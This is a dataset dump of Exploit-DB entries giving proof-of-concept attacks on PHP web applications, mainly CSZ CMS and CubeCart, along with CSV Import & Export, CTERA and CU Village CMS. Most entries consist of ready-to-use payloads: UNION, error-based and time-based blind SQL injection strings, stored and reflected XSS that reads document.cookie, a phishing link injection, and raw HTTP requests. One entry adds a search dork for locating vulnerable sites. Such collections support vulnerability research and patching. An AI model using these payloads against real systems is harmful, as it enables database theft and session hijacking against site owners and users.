deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44815
Description: CSV Import & Export 1.1.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-31
Author: Kağan Çapar

Exploit:
# Exploit Title: CSV Import & Export v1.1.0 - SQL Injection / Cross-Site
Scripting
# Dork: N/A
# Date: 30.05.2018
# Exploit Author: Kağan Çapar
# Contact: kagancapar@gmail.com
# Vendor Homepage: https://codecanyon.net/item/csv-import-export/21105509
# Version: 1.1.0
# Category: Webapps
# Tested on: Kali Linux
# Description : The 'offset' and 'db' parameters in the database table
preview query has vulnerabilities.
====================================================
# PoC : SQLi :

Parameter: offset (GET)
    Type: UNION query
    Demo:
https://site.com/live-preview/live-preview-db-tables.php?action=export_getInput&db=car-shop@localhost:3306&table=clients&order=asc&offset=30&limit=10
    Title: Generic UNION query (NULL) - 10 columns
    Payload: action=export_getInput&db=car-shop@localhost:3306&table=clients&order=asc&offset=30
UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x78564b[PII_REDACTED][PII_REDACTED]50514d467a4863704d7a[PII_REDACTED]5a6f7a[PII_REDACTED]616d6273,0x71786b7171),NULL,NULL,NULL,NULL,NULL,NULL--
STgb&limit=10


====================================================
# PoC : XSS :

Payload =
https://site.com/live-preview/live-preview-db-tables.php?action=export_getInput&db=%3E%27%3E%22%3E%3Cimg%20src=x%20onerror=alert%280%29%3E&table=clients&order=asc&offset=30&limit=10
Exploit-DB #48357
Description: CSZ CMS 1.2.7 - 'title' HTML Injection
Type: webapps
Platform: php
Date: 2020-04-21
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: CSZ CMS 1.2.7 - 'title' HTML Injection
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/
# Version: v1.2.7
# Description:
# Authenticated user can inject hyperlink to Backend System Dashboard and
# Member Dashboard via message.

PoC Request:

POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Cookie: cszcookie
Connection: close
Upgrade-Insecure-Requests: 1

csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=<h1><b><a href="http://changeme/">Please
click to view</a></b></h1>&message=phishing&submit=Send
Exploit-DB #48354
Description: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-04-21
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: CSZ CMS 1.2.7 - Persistent Cross-Site Scripting
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/
# Version: v1.2.7
# Description:
# Unauthorized user that has access private message can embed Javascript
# code to admin panel.

# Steps to reproduce:
1- Log in to member panel.
1- Change user-agent header as <script>alert(1)</script>
2- Send the private message to admin user.
3- When admin user logs in to Backend System Dashboard, an alert box pops
up on screen.

PoC Request:

POST /CSZCMS-V1.2.7/member/insertpm/ HTTP/1.1
Host: localhost
User-Agent: <script>alert(1)</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/CSZCMS-V1.2.7/member/newpm
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Cookie: cszcookie
Connection: close
Upgrade-Insecure-Requests: 1

csrf_csz=*&csrf_csz=*&to%5B%5D=1&title=user-agent&message=user-agent&submit=Send
Exploit-DB #50846
Description: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated)
Type: webapps
Platform: php
Date: 2022-03-30
Author: Rahad Chowdhury

Exploit:
# Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Blind SQLi(Authenticated)
# Date: 2021-04-14
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.2.9.zip
# Version: 1.2.9
# Tested on: Windows 10, Kali Linux, PHP 7.4.16, Apache 2.4.46
# CVE: CVE-2021-43701

*Steps to Reproduce:*
1. First login to your Admin Panel
2. then go to "General Menu > CSV Export / Import".
3. open burp site and configure with browser.
4. then select any "Table Name" > Select "Fields Select" and Select "Sort by"
5. Now click "Export to CSV" and intercept with burp suite
6. "fieldS[]" or "orderby" parameter is vulnerable. Let's try to inject Blind SQL Injection using this query "(select(0)from(select(sleep(10)))a)" in "orderby" parameter.

*Proof of Concept:*
http://127.0.0.1/CSZCMS/admin/export/getcsv/article_db?fieldS%5B%5D=article_db_id&orderby=(select(0)from(select(sleep(10)))a)&sort=ASC&submit=Export+to+CSV

*Output:*
By issuing sleep(0) response will be delayed to 0 seconds.
By issuing sleep(1) response will be delayed to 1 seconds.
By issuing sleep(5) response will be delayed to 5 seconds.
By issuing sleep(10) response will be delayed to 10 seconds
Exploit-DB #49364
Description: CSZ CMS 1.2.9 - Multiple Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-01-05
Author: SunCSR

Exploit:
# Exploit Title: CSZ CMS 1.2.9 - Multiple Cross-Site Scripting
# Date: 2020/12/28
# Exploit Author: SunCSR
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://github.com/cskaza/cszcms
# Version: 1.2.9
# Tested on: CSZ CMS 1.2.9

1. Reflected XSS
Go to url http://localhost/pluginabc%22%2Dalert%28origin%29%2D%22abc
<http://localhost/pluginabc%22-alert%28origin%29-%22abc>

2. Stored XSS

Use an editor account with rights to manage banners, plugins.

+ Banner Manager:
    - Add or edit banner:
    Name field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
    Note field: <noframes><p title="</noframes><svg/onload=alert(origin)>">

+ Plugin Manager:
    - Add or edit album(/admin/plugin/gallery):
    Album Name field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">
    Keyword field: <noframes><p title="</noframes><svg/onload=alert(origin)>">
    Short Description field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">

    - Add or edit Category(/admin/plugin/article/):
    Category Name field: <noframes><p
title="</noframes><svg/onload=alert(origin)>">
Exploit-DB #50899
Description: CSZ CMS 1.3.0 - 'Multiple' Blind SQLi
Type: webapps
Platform: php
Date: 2022-05-11
Author: Dogukan Dincer

Exploit:
# Exploit Title: CSZ CMS 1.3.0 - 'Multiple' Blind SQLi
# Date: 2021-04-22
# Exploit Author: Dogukan Dincer
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download
# Version: 1.3.0
# Tested on: Kali Linux, Windows 10, PHP 7.2.4, Apache 2.4

# Discovery of Vulnerability

- First go to CSZ CMS web page
- then go to http://yourhost/plugin/article directory on CMS.
- To see the error-based SQLi vulnerability, the ' character is entered in the search section.
- It is determined that the "p" parameter creates the vulnerability.
- Databases can be accessed with manual or automated tools.

# Proof of Concept

http://127.0.0.1/csz-cms/plugin/article/search?p=3D1'") UNION ALL SELECT CONCAT(0x717a7a6b71,0x5449414d6c63596c746759764a614d[PII_REDACTED]6366686f4e6a7a474c4a414d6b616a[PII_REDACTED],0x716a717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -

# Sqlmap output:

Parameter: p (GET)
    Type: error-based
    Title: MySQL >=3D 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: p=3D1'") AND EXTRACTVALUE(8555,CONCAT(0x5c,0x717a7a6b71,(SELECT (ELT(8555=3D8555,1))),0x716a717a71))-- OUUO

    Type: time-based blind
    Title: MySQL >=3D 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=3D1'") AND (SELECT 3910 FROM (SELECT(SLEEP(5)))qIap)-- ogLS
Exploit-DB #51703
Description: CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
Type: webapps
Platform: php
Date: 2023-09-04
Author: Daniel González

Exploit:
# Exploit Title: CSZ CMS 1.3.0 - Stored Cross-Site Scripting ('Photo URL' and 'YouTube URL' )
# Date: 2023/08/18
# CVE: CVE-2023-38910
# Exploit Author: Daniel González
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://github.com/cskaza/cszcms
# Version: 1.3.0
# Tested on: CSZ CMS 1.3.0
# Description:
# CSZ CMS 1.3.0 is vulnerable to cross-site scripting (XSS), which allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered in the 'Carousel Wiget' section and choosing our carousel widget created above, in 'Photo URL' and 'YouTube URL' plugin.

# Steps to reproduce Stored XSS:

Go to url http://localhost/admin/carousel.

We edit that Carousel that we have created and see that we can inject arbitrary web scripts or HTML into the “Youtube URL” and “Photo URL” fields.
We can inject HTML code.

With the following payload we can achieve the XSS.

Payload:

<div><p title="</div><svg/onload=alert(document.domain)>">


#PoC Request:


POST http://localhost:8080/admin/carousel/addUrl/3 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Origin: http://localhost:8080
Referer: http://localhost:8080/admin/carousel/edit/3
Upgrade-Insecure-Requests: 1

carousel_type=multiimages&photo_url=%3Cdiv%3E%3Cp+title%3D%22%3C%2Fdiv%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%3E&submit=Add
Exploit-DB #51704
Description: CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
Type: webapps
Platform: php
Date: 2023-09-04
Author: Daniel González

Exploit:
# Exploit Title: CSZ CMS 1.3.0 - Stored Cross-Site Scripting (Plugin 'Gallery')
# Date: 2023/08/18
# CVE: CVE-2023-38911
# Exploit Author: Daniel González
# Vendor Homepage: https://www.cszcms.com/
# Software Link: https://github.com/cskaza/cszcms
# Version: 1.3.0
# Tested on: CSZ CMS 1.3.0
# Description:
# CSZ CMS 1.3.0 is affected by a cross-site scripting (XSS) feature that allows attackers to execute arbitrary web scripts or HTML via a crafted payload entered in the 'Gallery' section and choosing our Gallery. previously created, in the 'YouTube URL' field, this input is affected by an XSS. It should be noted that previously when creating a gallery the "Name" field was vulnerable to XSS, but this was resolved in the current version 1.3.0, the vulnerability found affects the "YouTube URL" field within the created gallery.

# Steps to reproduce Stored XSS:

Go to url http://localhost/admin/plugin/gallery/edit/2.

When logging into the panel, we will go to the "Gallery" section and create a Carousel [http://localhost/admin/plugin/gallery], the vulnerable field is located at [http://localhost/admin/plugin/gallery/edit/2]
We edit that Gallery that we have created and see that we can inject arbitrary web scripts or HTML into the “Youtube URL”fields.

With the following payload we can achieve the XSS

Payload:

<div><p title="</div><svg/onload=alert(document.domain)>">


#PoC Request:

POST http://localhost:8080/admin/plugin/gallery/addYoutube/2 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Origin: http://localhost:8080
Referer: http://localhost:8080/admin/plugin/gallery/edit/2
Upgrade-Insecure-Requests: 1

gallery_type=youtubevideos&youtube_url=%3Cdiv%3E%3Cp+title%3D%22%3C%2Fdiv%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E%22%3E&submit=Add
Exploit-DB #51916
Description: CSZCMS v1.3.0 - SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2024-03-20
Author: Abdulaziz Almetairy

Exploit:
# Title:  CSZCMS v1.3.0 - SQL Injection (Authenticated)
# Author: Abdulaziz Almetairy
# Date: 27/01/2024
# Vendor: https://www.cszcms.com/
# Software: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download
# Reference: https://github.com/oh-az
# Tested on: Windows 11, MySQL, Apache


# 1 - Log in to the admin portal

http://localhost/cszcms/admin/login

# 2 - Navigate to General Menu > Member Users.

# 3 Click the 'View' button next to any username.

# 4 Intercept the request

GET /cszcms/admin/members/view/1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: 86112035d26bb3c291899278f9ab4fb2_cszsess=n5v1jcdqfjuuo32ng66e4rttg65ugdss
Upgrade-Insecure-Requests: 1



# 5 Modify the paramter 

/cszcms/admin/members/view/1

to 

/cszcms/admin/members/view/'or(sleep(10))#

and url encode all characters

/cszcms/admin/members/view/%27%6f%72%28%73%6c%65%65%70%28%31%30%29%29%23%20
Exploit-DB #31517
Description: CTERA 3.2.29.0/3.2.42.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-02-07
Author: Luigi Vezzoso

Exploit:
# Exploit Title: [CTERA Project Folders -  Stored XSS]
 
# Date: [11-Mar-2013]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.ctera.com]
# Version: [3.2.29.0 and 3.2.42.0 ]
# Tested on: [ctera os]
# CVE : [CVE-2013-2639]
 
#OVERVIEW
Standard Ctera User can define a particular “description” for a ProjectFolder that cause javascript code execution and HTML injection. 
 
#INTRODUCTION
CTERA Networks (http://www.ctera.com)bridges the gap between cloud storage and local storage, providing optimized performance and end-to-end security. Our solutions accelerate deployment of cloud services and eliminate the costs associated with file servers, backup servers and tape drives. Service providers and enterprises use CTERA to deliver services such as backup, file sync and share, mobile collaboration, managed NAS and cloud on-ramping, based on the cloud infrastructure of their choice.
 
#VULNERABILITY DESCRIPTION
User can forge particular description on Project Folder that permit XSS, HTML Injection (add of link, images, button ecc). As the project folder can be shared with different users that vulnerability permit the grabbing of sessions cookies.
 
For test the vuln: Create a Project Folder with the following description (the particular path depend of firmware version)

</xml><img src="https://192.168.3.2/admingui/common.3.2.29[PII_REDACTED]28/script/ext/resources/images/default/grid/loading.gif" onload="alert(document.cookie);">
<xml>



#VERSIONS AFFECTED
Tested on CTERA Cloud Storage OS version 3.2.29.0 and 3.2.42.0 
 
#SOLUTION
The vendor mark as resolved on latest CTERA version 4.x
 
#CREDITS
Luigi Vezzoso 
email:  luigivezzoso@gmail.com
skype:  luigivezzoso
Exploit-DB #11063
Description: CU Village CMS Site 1.0 - 'print_view' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-01-08
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_1_0 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] Cms Site 1.0 (print_view) Blind SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ Cms Site 1.0 ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://cuvsolutions.cu-village.com/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL Blind ]===
  
[»]Exploit : index.php?page_id=293&print_view=[ inject c0dE ]

[»]dem0:

http://server/index.php?page_id=293&print_view=y%20and%20substring%28@@version,1,1%29=4  << This True

http://server/index.php?page_id=293&print_view=y%20and%20substring%28@@version,1,1%29=5  << This Faulse 

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #11495
Description: CubeCart - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-18
Author: AtT4CKxT3rR0r1ST

Exploit:
CubeCart (index.php) Sql Injection Vulnerability
==============================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Team           : Sec Attack Team
.:. Home           : www.sec-attack.com/vb
.:. Script         : http://www.cubecart.com/downloads/
.:. Dork           : "powered by CubeCart" inurl:"index.php?_a="

####################################################################

===[ Exploit ]===

www.site.com/index.php?_a=viewProd&productId=22[Sql  Sql Injection]

===[ Example ]===

http://server/store/index.php?_a=viewProd&productId=22+and+1=2+union+select+version()

####################################################################
Exploit-DB #25355
Description: CubeCart 2.0.x - 'index.php' Multiple Full Path Disclosures
Type: webapps
Platform: php
Date: 2005-04-06
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/13050/info

CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.

These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/index.php?&PHPSESSID='
Exploit-DB #25356
Description: CubeCart 2.0.x - 'tellafriend.php?product' Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-04-06
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/13050/info
 
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
 
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/tellafriend.php?&product='
Exploit-DB #25357
Description: CubeCart 2.0.x - 'view_cart.php?add' Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-04-06
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/13050/info
  
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
  
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/view_cart.php?add='
Exploit-DB #25358
Description: CubeCart 2.0.x - 'view_product.php?product' Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-04-06
Author: John Cobb

Exploit:
source: https://www.securityfocus.com/bid/13050/info
   
CubeCart is reported prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
These issues affect the 'index.php', 'tellafriend.php', 'view_cart.php', and 'view_product.php' script.
   
These vulnerabilities could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. This is not confirmed. 

http://www.example.com/view_product.php?product='
Exploit-DB #25162
Description: CubeCart 2.0.x - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/12658/info


CubeCart is affected by multiple cross-site scripting vulnerabilities; an upgrade is available.

These issues exist because the application fails to properly sanitize user-supplied input.

As a result of these vulnerabilities, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/cubecart/?"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?cat_id=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/forgot_pass.php?catname='pruebas1'"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/index.php?cat_id=5"><body><p><h1>CubeCart XSS Pow@ !!!</h1></p>/<body>
http://www.example.com/cubecart/view_order.php?session=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/view_order.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/your_orders.php?cat_id="><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/view_product.php?product=1"><script>alert(document.cookie);</script>
http://www.example.com/cubecart/tellafriend.php?product=1&session="><script>alert(document.cookie)</script>
http://www.example.com/cubecart/tellafriend.php?product=1"><script>document.write(document.cookie)</script>
http://www.example.com/cubecart/login.php?session="><script>alert(document.cookie);</script>
http://www.example.com/cubecart/search.php?search=".,script.alert(document.cookie)</script>